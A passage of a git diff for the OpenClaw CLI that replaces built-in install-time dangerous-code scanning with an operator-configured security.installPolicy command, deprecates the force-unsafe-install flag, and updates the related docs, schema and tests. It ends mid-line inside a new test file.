diff --git a/docs/cli/plugins.md b/docs/cli/plugins.md index 09dfd3f06b19..4e4928c770a0 100644 --- a/docs/cli/plugins.md +++ b/docs/cli/plugins.md @@ -157,13 +157,11 @@ is available, then fall back to `latest`. `--pin` applies to npm installs only. It is not supported with `git:` installs; use an explicit git ref such as `git:github.com/acme/plugin@v1.2.3` when you want a pinned source. It is not supported with `--marketplace`, because marketplace installs persist marketplace source metadata instead of an npm spec. - `--dangerously-force-unsafe-install` is a break-glass option for false positives in the built-in dangerous-code scanner. It allows the install to continue even when the built-in scanner reports `critical` findings, but it does **not** bypass plugin `before_install` hook policy blocks and does **not** bypass scan failures. + `--dangerously-force-unsafe-install` is deprecated and is now a no-op. OpenClaw no longer runs built-in install-time dangerous-code blocking for plugin installs. - Install scans ignore common test files and directories such as `tests/`, `__tests__/`, `*.test.*`, and `*.spec.*` to avoid blocking packaged test mocks; declared plugin runtime entrypoints are still scanned even if they use one of those names. + Use the shared operator-owned `security.installPolicy` surface when host-specific install policy is required. Plugin `before_install` hooks and `security.installPolicy` can still block installs. - This CLI flag applies to plugin install/update flows. Gateway-backed skill dependency installs use the matching `dangerouslyForceUnsafeInstall` request override, while `openclaw skills install` remains a separate ClawHub skill download/install flow. - - If a plugin you published on ClawHub is hidden or blocked by a registry scan, use the publisher steps in [ClawHub publishing](/clawhub/publishing). `--dangerously-force-unsafe-install` only affects installs on your own machine; it does not ask ClawHub to rescan the plugin or make a blocked release public. + If a plugin you published on ClawHub is hidden or blocked by a registry scan, use the publisher steps in [ClawHub publishing](/clawhub/publishing). `--dangerously-force-unsafe-install` does not ask ClawHub to rescan the plugin or make a blocked release public. @@ -185,7 +183,7 @@ is available, then fall back to `latest`. Use `git:` to install directly from a git repository. Supported forms include `git:github.com/owner/repo`, `git:owner/repo`, full `https://`, `ssh://`, `git://`, `file://`, and `git@host:owner/repo.git` clone URLs. Add `@` or `#` to check out a branch, tag, or commit before install. - Git installs clone into a temporary directory, check out the requested ref when present, then use the normal plugin directory installer. That means manifest validation, dangerous-code scanning, package-manager install work, and install records behave like npm installs. Recorded git installs include the source URL/ref plus the resolved commit so `openclaw plugins update` can re-resolve the source later. + Git installs clone into a temporary directory, check out the requested ref when present, then use the normal plugin directory installer. That means manifest validation, operator install policy, package-manager install work, and install records behave like npm installs. Recorded git installs include the source URL/ref plus the resolved commit so `openclaw plugins update` can re-resolve the source later. After installing from git, use `openclaw plugins inspect --runtime --json` to verify runtime registrations such as gateway methods and CLI commands. If the plugin registered a CLI root with `api.registerCli`, execute that command directly through the OpenClaw root CLI, for example `openclaw demo-plugin ping`. @@ -267,6 +265,10 @@ For local paths and archives, OpenClaw auto-detects: - Claude-compatible bundles (`.claude-plugin/plugin.json` or the default Claude component layout) - Cursor-compatible bundles (`.cursor-plugin/plugin.json`) +Managed local installs must be plugin directories or archives. Standalone `.js`, +`.mjs`, `.cjs`, and `.ts` plugin files are not copied into the managed plugin +root by `plugins install`; list them explicitly in `plugins.load.paths` instead. + Compatible bundles install into the normal plugin root and participate in the same list/info/enable/disable flow. Today, bundle skills, Claude command-skills, Claude `settings.json` defaults, Claude `.lsp.json` / manifest-declared `lspServers` defaults, Cursor command-skills, and compatible Codex hook directories are supported; other detected bundle capabilities are shown in diagnostics/info but are not yet wired into runtime execution. @@ -320,13 +322,17 @@ For runtime hook debugging: - `openclaw gateway status --deep --require-rpc` confirms the reachable Gateway URL/profile, service/process hints, config path, and RPC health. - Non-bundled conversation hooks (`llm_input`, `llm_output`, `before_model_resolve`, `before_agent_reply`, `before_agent_run`, `before_agent_finalize`, `agent_end`) require `plugins.entries..hooks.allowConversationAccess=true`. -Use `--link` to avoid copying a local directory (adds to `plugins.load.paths`): +Use `--link` to avoid copying a local plugin directory (adds to `plugins.load.paths`): ```bash openclaw plugins install -l ./my-plugin ``` -Standalone plugin files must be listed in `plugins.load.paths` rather than placed directly in `~/.openclaw/extensions` or `/.openclaw/extensions`. Those auto-discovered roots load plugin package or bundle directories, while top-level script files are treated as local helpers and skipped. +Standalone plugin files must be listed in `plugins.load.paths` rather than +installed with `plugins install` or placed directly in `~/.openclaw/extensions` +or `/.openclaw/extensions`. Those auto-discovered roots load plugin +package or bundle directories, while top-level script files are treated as local +helpers and skipped. Workspace-origin plugins discovered from a workspace extensions root are not @@ -399,7 +405,7 @@ Updates apply to tracked plugin installs in the managed plugin index and tracked - `--dangerously-force-unsafe-install` is also available on `plugins update` as a break-glass override for built-in dangerous-code scan false positives during plugin updates. It still does not bypass plugin `before_install` policy blocks or scan-failure blocking, and it only applies to plugin updates, not hook-pack updates. + `--dangerously-force-unsafe-install` is also accepted on `plugins update` for compatibility, but it is deprecated and no longer changes plugin update behavior. Operator `security.installPolicy` and plugin `before_install` hooks can still block updates. diff --git a/docs/concepts/agent-loop.md b/docs/concepts/agent-loop.md index 8bc0ed38ec8b..f4235ae6bedc 100644 --- a/docs/concepts/agent-loop.md +++ b/docs/concepts/agent-loop.md @@ -97,7 +97,7 @@ These run inside the agent loop or gateway pipeline: - **`agent_end`**: inspect the final message list and run metadata after completion. - **`before_compaction` / `after_compaction`**: observe or annotate compaction cycles. - **`before_tool_call` / `after_tool_call`**: intercept tool params/results. -- **`before_install`**: inspect built-in scan findings and optionally block skill or plugin installs. +- **`before_install`**: inspect install context and optionally block skill or plugin installs after operator install policy runs. - **`tool_result_persist`**: synchronously transform tool results before they are written to an OpenClaw-owned session transcript. - **`message_received` / `message_sending` / `message_sent`**: inbound + outbound message hooks. - **`session_start` / `session_end`**: session lifecycle boundaries. diff --git a/docs/gateway/protocol.md b/docs/gateway/protocol.md index 012654dab6b2..d24415f18993 100644 --- a/docs/gateway/protocol.md +++ b/docs/gateway/protocol.md @@ -612,8 +612,11 @@ terminal summary, and sanitized error text. `skills.upload.begin` request. This mode is rejected unless `skills.install.allowUploadedArchives` is enabled. The setting does not affect ClawHub installs. - - Gateway installer mode: `{ name, installId, dangerouslyForceUnsafeInstall?, timeoutMs? }` + - Gateway installer mode: `{ name, installId, timeoutMs? }` runs a declared `metadata.openclaw.install` action on the gateway host. + Older clients may still send `dangerouslyForceUnsafeInstall`; this field is + deprecated, accepted only for protocol compatibility, and ignored. Use + `security.installPolicy` for operator-owned install decisions. - Operators may call `skills.update` (`operator.admin`) in two modes: - ClawHub mode updates one tracked slug or all tracked ClawHub installs in the default agent workspace. diff --git a/docs/gateway/security/index.md b/docs/gateway/security/index.md index cb20c5c31e81..1afb75696648 100644 --- a/docs/gateway/security/index.md +++ b/docs/gateway/security/index.md @@ -538,11 +538,11 @@ Plugins run **in-process** with the Gateway. Treat them as trusted code: - Restart the Gateway after plugin changes. - If you install or update plugins (`openclaw plugins install `, `openclaw plugins update `), treat it like running untrusted code: - The install path is the per-plugin directory under the active plugin install root. - - OpenClaw runs a built-in dangerous-code scan before install/update. `critical` findings block by default. + - OpenClaw does not run built-in local dangerous-code blocking during install/update. Use `security.installPolicy` for operator-owned local allow/block decisions and `openclaw security audit --deep` for diagnostic scanning. - npm and git plugin installs run package-manager dependency convergence only during the explicit install/update flow. Local paths and archives are treated as self-contained plugin packages; OpenClaw copies/references them without running `npm install`. - Prefer pinned, exact versions (`@scope/pkg@1.2.3`), and inspect the unpacked code on disk before enabling. - - `--dangerously-force-unsafe-install` is break-glass only for built-in scan false positives on plugin install/update flows. It does not bypass plugin `before_install` hook policy blocks and does not bypass scan failures. - - Gateway-backed skill dependency installs follow the same dangerous/suspicious split: built-in `critical` findings block unless the caller explicitly sets `dangerouslyForceUnsafeInstall`, while suspicious findings still warn only. `openclaw skills install` remains the separate ClawHub skill download/install flow. + - `--dangerously-force-unsafe-install` is deprecated and no longer changes plugin install/update behavior. + - Configure `security.installPolicy` when operators need a trusted local command to make host-specific allow/block decisions for skill and plugin installs. This policy runs after source material is staged but before installation continues, applies to ClawHub skills too, and is not bypassed by deprecated unsafe flags. Details: [Plugins](/tools/plugin) diff --git a/docs/help/faq.md b/docs/help/faq.md index 08027bd87917..418e557d72b0 100644 --- a/docs/help/faq.md +++ b/docs/help/faq.md @@ -1908,9 +1908,10 @@ lives on the [Models FAQ](/help/faq-models). Treat third-party skills and plugins as code you are choosing to trust. - ClawHub skill pages expose scan state before install, and OpenClaw plugin - install/update flows run built-in dangerous-code checks, but scans are not a - complete security boundary. + ClawHub skill pages expose scan state before install, but scans are not a + complete security boundary. OpenClaw does not run built-in local + dangerous-code blocking during plugin or skill install/update flows; use + operator-owned `security.installPolicy` for local allow/block decisions. Safer pattern: diff --git a/docs/platforms/mac/skills.md b/docs/platforms/mac/skills.md index efbe25036af3..c7cf294be7b0 100644 --- a/docs/platforms/mac/skills.md +++ b/docs/platforms/mac/skills.md @@ -18,7 +18,9 @@ The macOS app surfaces OpenClaw skills via the gateway; it does not parse skills - `metadata.openclaw.install` defines install options (brew/node/go/uv). - The app calls `skills.install` to run installers on the gateway host. -- Built-in dangerous-code `critical` findings block `skills.install` by default; suspicious findings still warn only. The dangerous override exists on the gateway request, but the default app flow stays fail-closed. +- Operator-owned `security.installPolicy` can block gateway-backed skill + installs before installer metadata runs. Install-time built-in dangerous-code + blocking is not part of the skill install flow. - If every install option is `download`, the gateway surfaces all download choices. - Otherwise, the gateway picks one preferred installer using the current diff --git a/docs/plugins/hooks.md b/docs/plugins/hooks.md index a4fbc44acd7f..9f070243ab6d 100644 --- a/docs/plugins/hooks.md +++ b/docs/plugins/hooks.md @@ -152,7 +152,7 @@ observation-only. - `gateway_start` / `gateway_stop` - start or stop plugin-owned services with the Gateway - `deactivate` - deprecated compatibility alias for `gateway_stop`; use `gateway_stop` in new plugins - `cron_changed` - observe gateway-owned cron lifecycle changes (added, updated, removed, started, finished, scheduled) -- **`before_install`** - inspect skill or plugin install scans and optionally block +- **`before_install`** - inspect skill or plugin install context and optionally block ## Debug runtime hooks @@ -452,11 +452,14 @@ Decision rules: ## Install hooks -`before_install` runs after the built-in scan for skill and plugin installs. -Return additional findings or `{ block: true, blockReason }` to stop the -install. +`before_install` runs after the operator-owned `security.installPolicy` check +when one is configured. The `builtinScan` field remains in the event payload for +compatibility, but OpenClaw no longer runs built-in install-time dangerous-code +blocking, so it is an empty `ok` result. Return additional findings or +`{ block: true, blockReason }` to stop the install. `block: true` is terminal. `block: false` is treated as no decision. +Handler failures block the install fail-closed. ## Gateway lifecycle diff --git a/docs/plugins/manage-plugins.md b/docs/plugins/manage-plugins.md index 454886b263bb..f095fb306449 100644 --- a/docs/plugins/manage-plugins.md +++ b/docs/plugins/manage-plugins.md @@ -153,6 +153,10 @@ the install instead. | npm pack | You are proving a local package artifact through npm install semantics | `openclaw plugins install npm-pack:` | | marketplace | You are installing a Claude-compatible marketplace plugin | `openclaw plugins install --marketplace ` | +Managed local path installs must be plugin directories or archives. Put +standalone plugin files in `plugins.load.paths` instead of installing them with +`plugins install`. + ## Publish plugins ClawHub is the primary public discovery surface for OpenClaw plugins. Publish diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index fbc6354b147f..9ce999105d61 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -143,6 +143,19 @@ current latest release declares a newer `openclaw.compat.pluginApi` or and installs the newest one that fits. Exact versions and explicit channel tags such as `@beta` stay pinned to the selected package and fail when incompatible. +### Operator install policy + +Configure `security.installPolicy` to run a trusted local policy command before +plugin install or update proceeds. The policy receives metadata plus the staged +source path and can allow or block the install. It runs before plugin +`before_install` hooks. The deprecated `--dangerously-force-unsafe-install` +flag is accepted for compatibility but does not bypass install policy, hooks, or +OpenClaw's built-in plugin dependency denylist. + +See [Skills config](/tools/skills-config#operator-install-policy-securityinstallpolicy) +for the shared `security.installPolicy` exec schema used by both skills and +plugins. + ### Configure plugin policy The common plugin config shape is: @@ -172,7 +185,9 @@ Key policy rules: allowlist stay unavailable, even when `tools.allow` includes `"*"`. - `plugins.entries..enabled: false` disables one plugin while preserving its config. -- `plugins.load.paths` adds explicit local plugin files or directories. +- `plugins.load.paths` adds explicit local plugin files or directories. Managed + `plugins install` local paths must be plugin directories or archives; use + `plugins.load.paths` for standalone plugin files. - Workspace-origin plugins are disabled by default; explicitly enable or allowlist them before using local workspace code. - Bundled plugins follow their built-in default-on/default-off metadata unless diff --git a/docs/tools/skills-config.md b/docs/tools/skills-config.md index f71c22924212..365c05d3c910 100644 --- a/docs/tools/skills-config.md +++ b/docs/tools/skills-config.md @@ -95,6 +95,167 @@ Most skills configuration lives under `skills` in need this setting. +## Operator Install Policy (`security.installPolicy`) + +Use `security.installPolicy` when operators need a trusted local command to +approve or block skill and plugin installs with host-specific policy. The policy +runs after OpenClaw has staged source material and before the install or update +continues. It applies to ClawHub skills, uploaded skills, Git/local skills, +skill dependency installers, and plugin install/update sources. + +```json5 +{ + security: { + installPolicy: { + enabled: true, + // Omit targets to cover every supported target. + targets: ["skill", "plugin"], + exec: { + source: "exec", + command: "/usr/local/bin/openclaw-install-policy", + args: ["--json"], + timeoutMs: 10000, + noOutputTimeoutMs: 10000, + maxOutputBytes: 1048576, + passEnv: ["OPENCLAW_STATE_DIR", "PATH"], + env: { POLICY_MODE: "strict" }, + trustedDirs: ["/usr/local/bin"], + }, + }, + }, +} +``` + + + Enables operator-owned install policy. When enabled without a valid `exec` + command, installs fail closed. + + + + Optional target filter. When omitted, policy applies to every supported target + so new installs do not unexpectedly fail open. + + + + Absolute path to the trusted policy executable. OpenClaw runs it without a + shell and validates the path before use. + + + + Static arguments passed after `command`. + + + + Maximum wall-clock runtime for one policy decision. + + + + Maximum time without stdout or stderr output before the policy fails closed. + + + + Maximum combined stdout and stderr bytes accepted from the policy process. + + + + Literal environment variables provided to the policy process. + + + + Environment variable names copied from the OpenClaw process into the policy + process. Only named variables are passed. + + + + Optional allowlist of directories that may contain the policy executable. + + + + Bypasses command path ownership and permission checks. Use only when the path + is protected by another mechanism. + + + + Allows the configured command path to be a symlink. The resolved target must + still satisfy the other path checks. Interpreter script arguments must be + direct regular files, not symlinks. + + +The policy receives one JSON object on stdin with `protocolVersion: 1`, +`openclawVersion`, `targetType`, `targetName`, `sourcePath`, `sourcePathKind`, +optional structured `source`, structured `origin`, and `request`. It must write +one JSON object on stdout: `{ "protocolVersion": 1, "decision": "allow" }` or +`{ "protocolVersion": 1, "decision": "block", "reason": "..." }`. Non-zero +exit, timeout, malformed JSON, missing fields, or unsupported protocol versions +fail closed. + +OpenClaw does not execute install policy during normal Gateway startup. Installs +and updates fail closed when policy is enabled but unavailable. `openclaw doctor` +performs static validation, and `openclaw doctor --deep` executes a synthetic +install probe against the configured command. + +Bulk updates apply policy per target: a blocked skill or plugin update fails +that target without disabling the policy or skipping later targets in the batch. + +Example stdin: + +```json +{ + "protocolVersion": 1, + "openclawVersion": "2026.6.1", + "targetType": "skill", + "targetName": "weather", + "sourcePath": "/var/folders/.../openclaw-skill-clawhub/root", + "sourcePathKind": "directory", + "source": { + "kind": "clawhub", + "authority": "openclaw", + "mutable": false, + "network": true + }, + "origin": { + "type": "clawhub", + "registry": "https://clawhub.openclaw.ai", + "slug": "weather", + "version": "1.0.0" + }, + "request": { + "kind": "skill-install", + "mode": "install", + "requestedSpecifier": "clawhub:weather@1.0.0" + }, + "skill": { + "installId": "clawhub" + } +} +``` + +Minimal policy command: + +```js +#!/usr/bin/env node + +let input = ""; +process.stdin.setEncoding("utf8"); +process.stdin.on("data", (chunk) => { + input += chunk; +}); +process.stdin.on("end", () => { + const request = JSON.parse(input); + if (request.targetType === "plugin" && request.source?.kind === "local-path") { + process.stdout.write( + JSON.stringify({ + protocolVersion: 1, + decision: "block", + reason: "local plugin paths are not approved on this host", + }), + ); + return; + } + process.stdout.write(JSON.stringify({ protocolVersion: 1, decision: "allow" })); +}); +``` + ## Bundled skill allowlist diff --git a/docs/tools/skills.md b/docs/tools/skills.md index 5d8fc38e1df7..6173dc31002c 100644 --- a/docs/tools/skills.md +++ b/docs/tools/skills.md @@ -208,12 +208,12 @@ publish and sync. symlinked skill folders, but every `SKILL.md` realpath must still stay inside its resolved skill directory. - - Gateway-backed skill installs (onboarding, Skills settings UI) run the - built-in dangerous-code scanner before executing installer metadata. - `critical` findings block by default; `suspicious` findings warn only. - `openclaw skills install ` downloads a ClawHub skill folder directly - and does not use the installer-metadata scanner. + + Configure `security.installPolicy` to run a trusted local policy command + before skill installs continue. The policy receives metadata and the staged + source path, applies to ClawHub, uploaded, Git, local, update, and + dependency-installer paths, and fails closed when the command cannot return + a valid decision. `skills.entries.*.env` and `skills.entries.*.apiKey` inject secrets into the diff --git a/packages/gateway-protocol/src/schema/agents-models-skills.ts b/packages/gateway-protocol/src/schema/agents-models-skills.ts index 49540a958d04..5ca6052fb8d2 100644 --- a/packages/gateway-protocol/src/schema/agents-models-skills.ts +++ b/packages/gateway-protocol/src/schema/agents-models-skills.ts @@ -288,7 +288,13 @@ export const SkillsInstallParamsSchema = Type.Union([ { name: NonEmptyString, installId: NonEmptyString, - dangerouslyForceUnsafeInstall: Type.Optional(Type.Boolean()), + dangerouslyForceUnsafeInstall: Type.Optional( + Type.Boolean({ + deprecated: true, + description: + "Deprecated compatibility field. Current servers ignore it; install policy is controlled by security.installPolicy.", + }), + ), timeoutMs: Type.Optional(Type.Integer({ minimum: 1000 })), }, { additionalProperties: false }, diff --git a/scripts/e2e/parallels/guest-transports.ts b/scripts/e2e/parallels/guest-transports.ts index 8f85f61b3e54..ba94cd9c9c49 100644 --- a/scripts/e2e/parallels/guest-transports.ts +++ b/scripts/e2e/parallels/guest-transports.ts @@ -75,13 +75,26 @@ $pidPath = "$base.pid"`; const payload = `$ErrorActionPreference = 'Stop' $PSNativeCommandUseErrorActionPreference = $false ${pathsScript} +function Add-OpenClawBackgroundLog { + param([Parameter(ValueFromPipeline=$true)]$InputObject) + process { + $text = $InputObject | Out-String + $bytes = [System.Text.Encoding]::UTF8.GetBytes($text) + $stream = [System.IO.File]::Open($logPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [System.IO.FileShare]::ReadWrite) + try { + $stream.Write($bytes, 0, $bytes.Length) + } finally { + $stream.Dispose() + } + } +} try { & { ${options.script} - } *>&1 | ForEach-Object { $_ | Out-String | Add-Content -Path $logPath -Encoding UTF8 } + } *>&1 | Add-OpenClawBackgroundLog Set-Content -Path $exitPath -Value '0' -Encoding UTF8 } catch { - $_ | Out-String | Add-Content -Path $logPath -Encoding UTF8 + $_ | Add-OpenClawBackgroundLog Set-Content -Path $exitPath -Value '1' -Encoding UTF8 } finally { Set-Content -Path $donePath -Value 'done' -Encoding UTF8 diff --git a/src/cli/plugins-cli-test-helpers.ts b/src/cli/plugins-cli-test-helpers.ts index 9178c2f1a7a8..3ddf8f15666d 100644 --- a/src/cli/plugins-cli-test-helpers.ts +++ b/src/cli/plugins-cli-test-helpers.ts @@ -507,6 +507,7 @@ vi.mock("../plugins/install.js", () => ({ NPM_PACKAGE_NOT_FOUND: "npm_package_not_found", SECURITY_SCAN_BLOCKED: "security_scan_blocked", SECURITY_SCAN_FAILED: "security_scan_failed", + UNSUPPORTED_PLAIN_FILE_PLUGIN: "unsupported_plain_file_plugin", }, installPluginFromNpmSpec: (( ...args: Parameters<(typeof import("../plugins/install.js"))["installPluginFromNpmSpec"]> diff --git a/src/cli/plugins-cli.install.test.ts b/src/cli/plugins-cli.install.test.ts index 0a4f1c2c3126..a07fbf630208 100644 --- a/src/cli/plugins-cli.install.test.ts +++ b/src/cli/plugins-cli.install.test.ts @@ -1219,6 +1219,11 @@ describe("plugins cli install", () => { expect(npmInstallCall().spec).toBe("demo"); expect(npmInstallCall().mode).toBe("update"); expect(npmInstallCall().dangerouslyForceUnsafeInstall).toBe(true); + expect( + runtimeLogsContain( + "--dangerously-force-unsafe-install is deprecated and no longer affects plugin installs", + ), + ).toBe(true); expect(installPluginFromClawHub).not.toHaveBeenCalled(); }); @@ -1589,9 +1594,7 @@ describe("plugins cli install", () => { dangerouslyForceUnsafeInstall?: boolean; }, ]; - params.logger?.warn?.( - 'WARNING: Plugin "demo" forced despite dangerous code patterns via --dangerously-force-unsafe-install: index.js:1', - ); + params.logger?.warn?.("WARNING: installer warning from dry-run probe"); return { ok: true, pluginId: "demo", @@ -1625,9 +1628,10 @@ describe("plugins cli install", () => { expect(pathInstallCall().dangerouslyForceUnsafeInstall).toBe(true); expect(typeof pathInstallCall().logger?.info).toBe("function"); expect(typeof pathInstallCall().logger?.warn).toBe("function"); + expect(runtimeLogsContain("installer warning from dry-run probe")).toBe(true); expect( runtimeLogsContain( - "forced despite dangerous code patterns via --dangerously-force-unsafe-install", + "--dangerously-force-unsafe-install is deprecated and no longer affects plugin installs", ), ).toBe(true); }); diff --git a/src/cli/plugins-cli.ts b/src/cli/plugins-cli.ts index 196f0959cc46..8df98218f0b2 100644 --- a/src/cli/plugins-cli.ts +++ b/src/cli/plugins-cli.ts @@ -151,7 +151,7 @@ export function registerPluginsCli(program: Command) { .option("--pin", "Record npm installs as exact resolved @", false) .option( "--dangerously-force-unsafe-install", - "Bypass built-in dangerous-code install blocking (plugin hooks may still block)", + "Deprecated no-op; install policy and plugin hooks may still block", false, ) .option( @@ -182,7 +182,7 @@ export function registerPluginsCli(program: Command) { .option("--dry-run", "Show what would change without writing", false) .option( "--dangerously-force-unsafe-install", - "Bypass built-in dangerous-code update blocking for plugins (plugin hooks may still block)", + "Deprecated no-op; install policy and plugin hooks may still block", false, ) .action(async (id: string | undefined, opts: PluginUpdateOptions) => { diff --git a/src/cli/plugins-cli.update.test.ts b/src/cli/plugins-cli.update.test.ts index f358df221015..4609ab679851 100644 --- a/src/cli/plugins-cli.update.test.ts +++ b/src/cli/plugins-cli.update.test.ts @@ -67,7 +67,7 @@ describe("plugins cli update", () => { } }); - it("shows the dangerous unsafe install override in update help", () => { + it("shows the deprecated unsafe install flag in update help", () => { const program = new Command(); registerPluginsCli(program); @@ -76,8 +76,9 @@ describe("plugins cli update", () => { const helpText = updateCommand?.helpInformation() ?? ""; expect(helpText).toContain("--dangerously-force-unsafe-install"); - expect(helpText).toContain("Bypass built-in dangerous-code update"); - expect(helpText).toContain("blocking for plugins"); + expect(helpText).toContain("Deprecated no-op"); + expect(helpText).toContain("install policy and"); + expect(helpText).toContain("plugin hooks may still block"); }); it("refuses plugin updates in Nix mode before package-manager work", async () => { @@ -208,6 +209,13 @@ describe("plugins cli update", () => { expect(updateParams.config).toEqual(config); expect(updateParams.pluginIds).toEqual(["openclaw-codex-app-server"]); expect(updateParams.dangerouslyForceUnsafeInstall).toBe(true); + expect( + runtimeLogs.some((message) => + message.includes( + "--dangerously-force-unsafe-install is deprecated and no longer affects plugin updates", + ), + ), + ).toBe(true); }); it("writes updated config when updater reports changes", async () => { diff --git a/src/cli/plugins-install-command.ts b/src/cli/plugins-install-command.ts index f1fd925e4f9a..64b549bf4ea1 100644 --- a/src/cli/plugins-install-command.ts +++ b/src/cli/plugins-install-command.ts @@ -65,10 +65,15 @@ function resolveInstallMode(force?: boolean): "install" | "update" { function resolveInstallSafetyOverrides(overrides: InstallSafetyOverrides): InstallSafetyOverrides { return { + config: overrides.config, dangerouslyForceUnsafeInstall: overrides.dangerouslyForceUnsafeInstall, + trustedSourceLinkedOfficialInstall: overrides.trustedSourceLinkedOfficialInstall, }; } +const DEPRECATED_DANGEROUS_FORCE_UNSAFE_INSTALL_WARNING = + "--dangerously-force-unsafe-install is deprecated and no longer affects plugin installs because built-in install-time dangerous-code scanning has been removed. Configure security.installPolicy for operator-owned install decisions."; + function findTrustedCatalogPackageInstall(packageName: string): | { pluginId: string; @@ -324,7 +329,7 @@ async function tryInstallPluginOrHookPackFromNpmSpec(params: { logger: createPluginInstallLogger(params.runtime), }); if (!result.ok) { - if (isTerminalPluginInstallSecurityFailure(result.code)) { + if (isTerminalPluginInstallFailure(result.code)) { (params.runtime ?? defaultRuntime).error(result.error); return { ok: false }; } @@ -466,10 +471,11 @@ async function tryInstallPluginFromGitSpec(params: { return { ok: true }; } -function isTerminalPluginInstallSecurityFailure(code?: string): boolean { +function isTerminalPluginInstallFailure(code?: string): boolean { return ( code === PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED || - code === PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED + code === PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED || + code === PLUGIN_INSTALL_ERROR_CODE.UNSUPPORTED_PLAIN_FILE_PLUGIN ); } @@ -590,6 +596,9 @@ export async function runPluginInstallCommand(params: { marketplace: params.opts.marketplace ?? (shorthand?.ok ? shorthand.marketplaceSource : undefined), }; + if (opts.dangerouslyForceUnsafeInstall) { + runtime.log(theme.warn(DEPRECATED_DANGEROUS_FORCE_UNSAFE_INSTALL_WARNING)); + } if (opts.marketplace) { if (opts.link) { runtime.error( @@ -648,7 +657,7 @@ export async function runPluginInstallCommand(params: { } const cfg = snapshot.config; const installMode = resolveInstallMode(opts.force); - const safetyOverrides = resolveInstallSafetyOverrides(opts); + const safetyOverrides = resolveInstallSafetyOverrides({ ...opts, config: cfg }); const extensionsDir = resolveDefaultPluginExtensionsDir(); if (opts.marketplace) { @@ -696,7 +705,7 @@ export async function runPluginInstallCommand(params: { logger: createPluginInstallLogger(runtime), }); if (!probe.ok) { - if (isTerminalPluginInstallSecurityFailure(probe.code)) { + if (isTerminalPluginInstallFailure(probe.code)) { runtime.error(probe.error); return runtime.exit(1); } @@ -750,7 +759,7 @@ export async function runPluginInstallCommand(params: { logger: createPluginInstallLogger(runtime), }); if (!result.ok) { - if (isTerminalPluginInstallSecurityFailure(result.code)) { + if (isTerminalPluginInstallFailure(result.code)) { runtime.error(result.error); return runtime.exit(1); } diff --git a/src/cli/plugins-update-command.ts b/src/cli/plugins-update-command.ts index 398c77e7c248..5b9928e98b81 100644 --- a/src/cli/plugins-update-command.ts +++ b/src/cli/plugins-update-command.ts @@ -22,6 +22,9 @@ import { } from "./plugins-update-selection.js"; import { promptYesNo } from "./prompt.js"; +const DEPRECATED_DANGEROUS_FORCE_UNSAFE_UPDATE_WARNING = + "--dangerously-force-unsafe-install is deprecated and no longer affects plugin updates because built-in install-time dangerous-code scanning has been removed. Configure security.installPolicy for operator-owned install decisions."; + export async function runPluginUpdateCommand(params: { id?: string; opts: { all?: boolean; dryRun?: boolean; dangerouslyForceUnsafeInstall?: boolean }; @@ -36,6 +39,9 @@ export async function runPluginUpdateCommand(params: { info: (msg: string) => defaultRuntime.log(msg), warn: (msg: string) => defaultRuntime.log(theme.warn(msg)), }; + if (params.opts.dangerouslyForceUnsafeInstall) { + defaultRuntime.log(theme.warn(DEPRECATED_DANGEROUS_FORCE_UNSAFE_UPDATE_WARNING)); + } const pluginSelection = resolvePluginUpdateSelection({ installs: pluginInstallRecords, rawId: params.id, diff --git a/src/cli/skills-cli.commands.test.ts b/src/cli/skills-cli.commands.test.ts index 5c972abd0653..58b6938f2aa7 100644 --- a/src/cli/skills-cli.commands.test.ts +++ b/src/cli/skills-cli.commands.test.ts @@ -720,6 +720,21 @@ describe("skills cli commands", () => { }); }); + it("exits nonzero when a tracked ClawHub skill update fails", async () => { + readTrackedClawHubSkillSlugsMock.mockResolvedValue(["calendar"]); + updateSkillsFromClawHubMock.mockResolvedValue([ + { + ok: false, + error: "blocked by install policy: calendar is not approved", + }, + ]); + + await expect(runCommand(["skills", "update", "calendar"])).rejects.toThrow("__exit__:1"); + + expect(runtimeErrors).toContain("blocked by install policy: calendar is not approved"); + expect(runtimeLogs).toStrictEqual([]); + }); + it("rejects using --global and --agent together for updates", async () => { await expect( runCommand(["skills", "update", "--all", "--global", "--agent", "main"]), diff --git a/src/cli/skills-cli.ts b/src/cli/skills-cli.ts index 398b7aa08a52..d4931e4b0fb0 100644 --- a/src/cli/skills-cli.ts +++ b/src/cli/skills-cli.ts @@ -400,8 +400,10 @@ export function registerSkillsCli(program: Command) { info: (message) => defaultRuntime.log(message), }, }); + let failed = false; for (const result of results) { if (!result.ok) { + failed = true; defaultRuntime.error(result.error); continue; } @@ -413,6 +415,9 @@ export function registerSkillsCli(program: Command) { } defaultRuntime.log(`${result.slug} already at ${result.version}`); } + if (failed) { + defaultRuntime.exit(1); + } } catch (err) { defaultRuntime.error(String(err)); defaultRuntime.exit(1); diff --git a/src/commands/doctor-install-policy.test.ts b/src/commands/doctor-install-policy.test.ts new file mode 100644 index 000000000000..d126309c9be5 --- /dev/null +++ b/src/commands/doctor-install-policy.test.ts @@ -0,0 +1,88 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { collectInstallPolicyHealthLines } from "./doctor-install-policy.js"; + +const tempDirs: string[] = []; + +async function makeTempDir(): Promise { + const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-doctor-install-policy-")); + tempDirs.push(dir); + return dir; +} + +async function writePolicyScript(dir: string, response: string): Promise { + const scriptPath = path.join(dir, "policy.cjs"); + await fs.writeFile(scriptPath, `process.stdout.write(${JSON.stringify(response)});\n`, "utf8"); + await fs.chmod(scriptPath, 0o700); + return scriptPath; +} + +function configWithPolicy(scriptPath: string): OpenClawConfig { + return { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: process.execPath, + args: [scriptPath], + allowInsecurePath: true, + }, + }, + }, + }; +} + +afterEach(async () => { + await Promise.all(tempDirs.splice(0).map((dir) => fs.rm(dir, { recursive: true, force: true }))); +}); + +describe("collectInstallPolicyHealthLines", () => { + it("returns no lines when install policy is disabled", async () => { + await expect(collectInstallPolicyHealthLines({})).resolves.toEqual([]); + }); + + it("reports static availability without running the command by default", async () => { + const dir = await makeTempDir(); + const scriptPath = await writePolicyScript( + dir, + 